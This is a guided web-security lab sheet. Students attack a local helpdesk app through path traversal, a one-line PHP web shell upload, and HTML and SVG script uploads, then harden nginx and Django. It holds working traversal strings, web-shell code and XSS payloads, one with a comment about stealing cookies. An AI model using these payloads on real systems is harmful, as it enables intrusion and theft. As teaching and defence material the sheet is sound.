Lab 2 - File Upload and Path Traversal

This lab is guided from start to finish. Unlike the others, it walks you through the mechanism as you go, because the interesting part is not the payload - it is *why* the server runs it, and that lives in how a web server turns a URL into a file and then decides whether to send the bytes or execute them. You will attack Meridian several ways, trace each attack through every layer to see exactly which one failed, then harden the system at both layers: the web server and the application.

Read the matching lecture, “How Web Servers Handle Requests”, alongside this sheet. The slides give the theory in full; here you carry it out against a running system and see each idea fire.

Work through **Burp Suite**, and confirm results in the browser where a page is involved.

The one idea behind the whole lab

A web server does two things with a request, in order:

1. **Turn the URL into a file on disk.** This is string work - the document root plus the URL path, glued together. Get it wrong and an attacker reads files you never meant to publish: **path traversal**.
2. **Decide: send the file’s bytes, or run it as a program and send the output?** This is decided by *configuration* - a handler rule - not by anything about the file itself. The same `shell.php` is catastrophic in one directory and inert in another. Get this wrong and an uploaded file becomes code: **upload to execution**.

Every step below is one of these two decisions going wrong. Keep asking, for each attack: *which layer failed - nginx, the application, the OS, or the browser?* The answer is almost never the one students expect, and it decides where the fix belongs.

What you have

- The application at `http://127.0.0.1:5001`.
- The public “submit a request” form at `/tickets/submit/` (no account needed).
- An agent account to view tickets: `rmasri` / `Agent1234!`.
- The lab stack runs nginx in front of the app, with a PHP interpreter wired in for the upload directory - exactly the arrangement the lecture describes.

Part A: path traversal (decision 1 gone wrong)

A1 - read a file outside the media directory

The download endpoint is staff-only, so **sign in as `rmasri` / `Agent1234!` first**; the whole of Part A is driven from that session.

Meridian has a download endpoint that builds a file path out of your input and opens it. It joins your `path` onto the media directory - and never confirms the result stayed inside it.

1. Fetch a normal file first, then walk out of the directory with `../`:

   ```
   /attachments/download/?path=../../../../../../etc/passwd
   ```

   The contents of `/etc/passwd` come back.

   Capture this in Burp and submit it as evidence.

Trace it through every layer - this is the point of the exercise:

Layer	What it did	Did it fail?
nginx	`/attachments/...` matches `location /` and is proxied to the app. The `..` is in the query string, so nginx never treats it as a path	No - it never saw a file request
code	Read `path=../../../../etc/passwd`, joined it onto the media directory, passed the result to `open()`. Never resolved or checked it	**Yes**
OS	Resolved the `..` sequences textually up to `/`, walked down to `/etc/passwd`, checked permissions (world-readable? yes), opened it	No - it resolved correctly and enforced permissions correctly
result	The response body is the server's account list	

So the OS is not doing anything wrong. It resolves `..` *textually* while working out which file you meant, and it does this **after** your code finished building the string. The `/data/media` prefix was in the string the whole time and the path still escaped. That timing is the reason most attempted fixes fail, and it is the whole argument for the fix in Part C.

A2 - read something that matters more than the demo

`/etc/passwd` is the demo. These are the incident:

2. Reach the files that hold secrets, not just a world-readable account list:

   - `/proc/self/environ` - the process environment. Modern apps keep their secrets (database URL, signing key, cloud credentials) in environment variables, so this is often the fastest total compromise.
   - the application's own settings / any config file you can locate.

   Capture one of these in Burp and submit it as evidence.

> The impact of a traversal read is not “an attacker read a file”. It is “an attacker read the file that lets them do everything else”: source discloses your other bugs, config discloses the database and the cloud account. Rate it critical, not informational.

> **A note on where the traversal lives.** In Meridian the flaw is in the application’s download view. nginx serving files can have its own version of this (the `alias` vs `root` trap: a location `/files` with no trailing slash but an `alias /srv/up/` lets `/files../etc/passwd` become `/srv/up/../etc/passwd`). The lecture covers it; the rule is the same at both layers - resolve first, then confirm containment.

Part B: upload to execution (decision 2 gone wrong)

An attachment on a ticket is written to disk under the media directory and served back by nginx. Meridian checks neither the type nor the contents of what you upload, so you control all three things that matter:

- **where** the file lands - the filename, which can contain `../`
- **what extension** it has - which decides whether a handler runs it
- **what bytes** are inside it - which decide what it does, once something acts

Storing a file is harmless. The damage always comes on a *later* request, when something reads those bytes and acts on them. You will fire several vectors from this one upload feature.

B1 - the classic web shell (runs on the server)

3. Submit a request at `/tickets/submit/` and attach a file named `shell.php` whose body is:

   ```php
   <?php system($_GET["cmd"] ?? "id"); ?>
   ```

   Send the upload through Burp so you can see the multipart request. Note the `Content-Type: image/png` you can set on the part - the server accepts it. That declared type is a **claim by your tool**, not a fact about the bytes.

   > **If the file will not save, or vanishes:** host antivirus flags `<?php system(...) ?>` as a web shell and may quarantine or delete it before the upload. Build the part inside Burp (type the body into the Repeater or Intruder request) so the payload never touches disk, or add an exclusion for your lab folder. Do not disable protection machine-wide.

   Capture the upload request in Burp and submit it as evidence.

4. Open the ticket as `rmasri` (or read the upload response) to find the attachment’s `/media/...shell.php` URL, then request it:

```
/media/.../shell.php?cmd=id
```

The response is `uid=...(www-data) ...`. The exact number depends on the PHP base image (82 on the Alpine image this stack ships, 33 on a Debian one); what matters is that the command ran as `www-data`. Change the command: `?cmd=cat /etc/passwd`, `?cmd=ls -la /`, `?cmd=cat /proc/self/environ`. You have a shell.

Capture this in Burp and submit it as evidence.

Trace it through every layer:

Layer	What it did	Did it fail?
nginx (upload)	Forwarded the POST to the app; enforced only the body-size limit	No
code	Saved the bytes under the media directory. No extension check, no content check	**Yes**
filesystem	A `.php` file now sits in a served directory. Nothing has run. (Note: `chmod -x` would change nothing - PHP files are *read* by the interpreter, never launched, so the execute bit is irrelevant)	No
nginx (2nd request)	`/media/.../shell.php` matches the regex `location ~ \.php$` in the handler table, so nginx does not send the file - it hands it to PHP	No - it did exactly what its rules said
PHP	Ran it. `system('id')` executed on the server	No - it ran what it was given

Who failed: the code. It wrote an attacker-named file into a directory nginx executes. Two mistakes had to line up: trusting the name/extension, *and* landing in a handler-covered directory. Break either link and there is no RCE.

B2 - the active document (runs in a victim's browser)

Meridian is a Django app with no reason to run PHP for its own pages - the PHP handler exists here only so B1 is reproducible. But even with no server-side interpreter, an upload can still execute, in the browser of whoever opens it.

5. Submit another request, attaching `notice.html`:

```
<script>document.title = "xss-by-upload"; /* or exfiltrate document.cookie
        */</script>
```

6. Find its `/media/...notice.html` URL and open it in the browser. nginx serves it as `text/html`, so the browser renders it and runs the script **in your own origin**, next to the victim's session cookie. The server was never compromised; your users were.

Capture the served file (URL, `Content-Type`, and the result) and submit it.

7. Now do it with an image extension. Attach `logo.svg`:

   ```
   <svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script>
   </svg>
   ```

   nginx serves it as `image/svg+xml`; opened directly, the browser renders the SVG as a document and runs the script. SVG is XML that carries script, and it sails through any "images are safe" allowlist.

   Capture this in Burp / the browser and submit it.

> The useful distinction is not image versus document. It is **passive data** (PNG, JPEG - grids of numbers) versus **active document** (HTML, SVG, PDF - they carry instructions). A PNG really starts with the bytes `89 50 4E 47`; an allowlist that reads the *bytes* can tell the difference, one that trusts the extension or the declared type cannot.

B3 - probe the checks that are not there

Confirm for yourself how little is validated, so you know what your fix must add:

8. Try each and note the result:
   - `shell.php` with `Content-Type: image/png` - accepted (the declared type is never compared to the bytes).
   - `shell.php.png` - a double extension. On *this* server it is served as a PNG and does **not** execute, because nginx's handler keys on the *final* extension (`\.php$`). But a naive application check that splits on the first dot would be fooled - which is why your app fix must reject double extensions outright.
   - `shell.phtml`, `shell.php5` - inert here (the handler regex is `\.php$` only), but on a server whose handler is `\.php[0-9]?$` or lists `.phtml` they execute. This is exactly why you **allowlist the few types you accept and never blocklist the dangerous ones** - a blocklist is a list you must finish, and `.phtml`, `.php7`, `.phar` and next year's addition are not on it.

   Capture one probe and a one-line note of what it proves.

Understanding it: why the .php ran, in nginx's own terms

Before you fix anything, understand the exact reason B1 worked, because the fix is one modifier and it will look like magic otherwise.

nginx sorts every `location` into families before it matches anything:

- **exact** - `location = /health`, the whole URI, nothing else.
- **prefix** - `location /media/`, matches the start of the URL. Plain prefixes compete by **length**: the longest match wins.
- **regex** - `location ~ \.php$` (case-sensitive) / `~*` (case-insensitive), matches a pattern. Regexes compete by **order**: the first in the file wins.

The lab's nginx has a prefix `location /media/` that serves uploads and a server-wide regex `location ~ \.php$` that hands `.php` to the interpreter. For `/media/.../shell.php`, **both** match. nginx does not take the first in the file; it runs a fixed four-step precedence on every request:

1. Exact match (`=`)? Use it and **stop**.
2. Find the longest matching **prefix** and remember it. If it was written `^~`, **stop here** and use it.
3. Otherwise try every **regex** in file order; the first match **wins and overrides** the remembered prefix.
4. Only if no regex matched, use the prefix remembered in step 2.

So the plain prefix `/media/` is remembered at step 2, the regex `~ \.php$` matches at step 3 and beats it, and your upload goes to PHP. The asymmetry that bites you: prefixes rank by length, but a matching regex outranks a remembered *plain* prefix. **Only `^~` (step 2) stops nginx before it ever reaches the regexes.** That single modifier is the core of the fix.

Part C: the fix, layer by layer

You will harden **both** the web server and the application. Neither alone is enough, and that is the point: if one check fails, the next layer still holds - that is what defence in depth actually means.

Fix the config and code yourself, reload, then re-run every attack and confirm it now fails.

Layer 1 - nginx: make the upload directory inert

Rewrite the `/media/` location in `lab/nginx.conf` to this, then test and reload (`docker compose -f lab/docker-compose.yml exec nginx nginx -t`, then `... nginx -s reload`):

```
location ^~ /media/ {
    root /srv;
    types { }                                    # empty the extension->type table
    default_type application/octet-stream;       # so every file is an opaque blob
    add_header Content-Disposition "attachment" always;   # download, never display
    add_header X-Content-Type-Options "nosniff" always;   # and do not sniff to overrule
    autoindex off;                               # no directory listing
}
```

Read it line by line - each closes a specific hole you opened above:

- `^~` - stops the search before the `~ \.php$` regex is ever consulted, so an uploaded script is never handed to PHP. This alone kills **B1**.
- `types { }` + `default_type application/octet-stream` - empties the extension-to-MIME table and labels every response an opaque blob, so an `.html` is no longer `text/html` and an `.svg` no longer `image/svg+xml`; the browser picks no parser. This kills **B2**. (`default_type` only applies when nginx cannot infer a type, so you must empty the table *first* - clearing one without the other does nothing.)
- `Content-Disposition: attachment` - the browser saves the file instead of rendering it; a file never displayed never gets a context its script could run in.
- `X-Content-Type-Options: nosniff` - stops the browser overruling the type by inspecting the bytes, which is how `attachment` alone gets bypassed. The three MIME lines only work together;

any one alone is bypassable.
- `always` - applies the headers to error responses too, not just `200`s.

> **A trap:** `add_header` in a nested block *replaces* inherited headers rather than adding to them. If you set security headers at the `server` level, repeat the ones you need inside this location, or they silently vanish here.

> **Extension - the lecture's strongest form.** Add `internal;` to the location so the file has no directly reachable URL at all. The only way to the bytes is then an `X-Accel-Redirect` header the application emits *after* it has checked who is asking - a request straight from the browser to `/media/<stored>` returns 404. That keeps the access-control decision in Python and the fast byte-transfer in nginx: the worker returns an empty body and is free immediately. (Apache's equivalent is `X-Sendfile`.) Build it if you want the complete design; the block above already makes both attacks fail.

Layer 2 - the application (Django)

1. **Turn on type validation.** Meridian ships a validator (`validate_file_extension`) that is switched off in the lab (`HELPDESK_VALIDATE_ATTACHMENT_TYPES`). Enable it so `.php`, `.html`, and `.svg` uploads are refused at the door. Use an **allowlist** of the few types you accept, and reject any filename with more than one dot so `shell.php.png` never reaches disk.

2. **Choose the stored name yourself.** The attacker's filename is display text and nothing more. Store the file under a name the server generates (a random token plus the allowlisted extension), so a name like `../../etc/cron.d/evil` can never decide where the bytes land or what they are called. Keep the original name only as a label in the database, never as a path.

3. **Decide the type from the content, not the claim.** For an image, read the bytes and confirm they really are that image - re-encoding it (decode, then re-save) is the strongest form, because it strips anything that was not pixel data. Never trust `Content-Type` or the extension.

4. **Close the traversal in the download view.** In `/attachments/download/`, resolve the final path and confirm it is still inside the media directory **before** opening it - resolve first, then check containment. Reject anything that escapes, with a generic error.

Layer 3 - fail safely: limits, errors and logs

The parts nobody demos until they are the incident:

- **Size is five different limits, at five layers.** Do not conflate them:

Limit	Where it lives	Without it
Bytes on the wire	nginx `client_max_body_size` (present: `10m`)	one huge upload fills the disk
Bytes at the app	Django `DATA_UPLOAD_MAX_MEMORY_SIZE` / a check in the view	anything reaching the app another way is unbounded
Decoded size	an image pixel cap before you re-encode	a 40 KB PNG declaring 50000x50000 asks for gigabytes of RAM
Aggregate size	a per-user quota	one 10 MB file is fine; forty thousand of them are not
Time	nginx `client_body_timeout`	a slow client holds a worker open

Reject at the **edge** (nginx `413`) before a byte reaches the app; keep the app check as the backup for anything arriving another way.

- **Never let an error carry a filesystem path.** `Could not open /data/media/../../etc/passwd` hands the attacker your storage layout and confirms the traversal reached the OS. Turn `DEBUG` off in any deployed build - Django's debug page prints the traceback and offers an interactive console, which is a remote shell. And never echo the submitted filename into an HTML error page unescaped - that is reflected XSS bolted onto your upload bug.
- **Log the decision, not the payload.** Record the stored name, owner, size, detected type, and which check rejected an upload - never the file contents, and never a raw filename (a newline in it forges log entries).
- **Fail closed.** An unknown type, an image that will not decode, a scanner that is unreachable - all mean *reject*, never *accept and hope*.

> **Extension - the full quarantine pipeline (matches the lecture exactly).** Validating a file where it is already being served is a race you can lose: the gap between `save()` and `check()` is small, not zero, and an attacker looping requests needs only one to land in it (time-of-check to time-of-use). Remove the window instead of shrinking it: write the upload first into a **quarantine** directory that has no URL and no handler, validate it there for as long as you like, run a malware scan (ClamAV as a separate unprivileged daemon, so your app process never reads the hostile bytes), and only then **atomically move** the file - under the server-generated name - into the final store. Both directories sit outside the web root and outside the project, so no URL and no stray helper reaches them. Give quarantine its own partition where you can, so rejected uploads fill a disk nothing depends on.

Verify the fix

Re-run every attack and confirm:

- `shell.php?cmd=id` comes back as an `application/octet-stream` **download** containing the literal `<?php ...` text - not `uid=...`.
- `notice.html` and `logo.svg` download instead of rendering; no script runs.

- With app validation on, `.php` / `.html` / `.svg` / `shell.php.png` uploads are refused before they are ever stored.
- `/attachments/download/?path=../../../etc/passwd` returns a generic error, not the file and not a path.

Recap: every attack, and where it now dies

The attack	Why it worked	What stops it now
Read `/etc/passwd` with `../`	A path was built from a request parameter and never resolved	Resolve first, then verify the result stayed inside the media directory
Upload `shell.php`, then request it	The file kept the attacker's name and landed in a handler-covered directory	`^~ /media/` serves it inert; app validation refuses it; the stored name is server-chosen
The `.php` handler beat the upload block	A regex location outranked a remembered plain prefix	`^~` stops the search before any regex is consulted
`Content-Type: image/png` on PHP bytes	A claim by the sender was read as a fact	The type is decided from the bytes and must match an allowlisted extension
`.svg` / `.html` runs script in your origin	An active document was served inline from your own domain	`types { }` + octet-stream + attachment + nosniff make every response an inert download

Screenshots to submit

- `/etc/passwd` via the download endpoint (A1), and a secret-bearing file such as `/proc/self/environ` (A2)
- The `shell.php` upload request (B1, steps 3-4) and `?cmd=id` returning `uid=...`
- `notice.html` and `logo.svg` executing in the browser (B2)
- One validation probe with a note of what it proves (B3)
- After Layer 1: the same `shell.php` URL served as an octet-stream attachment, not executed
- After Layer 2: an upload of `.php` / `shell.php.png` rejected, and the traversal path returning a generic error

Further practice (optional)

- File upload vulnerabilities: https://portswigger.net/web-security/file-upload
- Path traversal: https://portswigger.net/web-security/file-path-traversal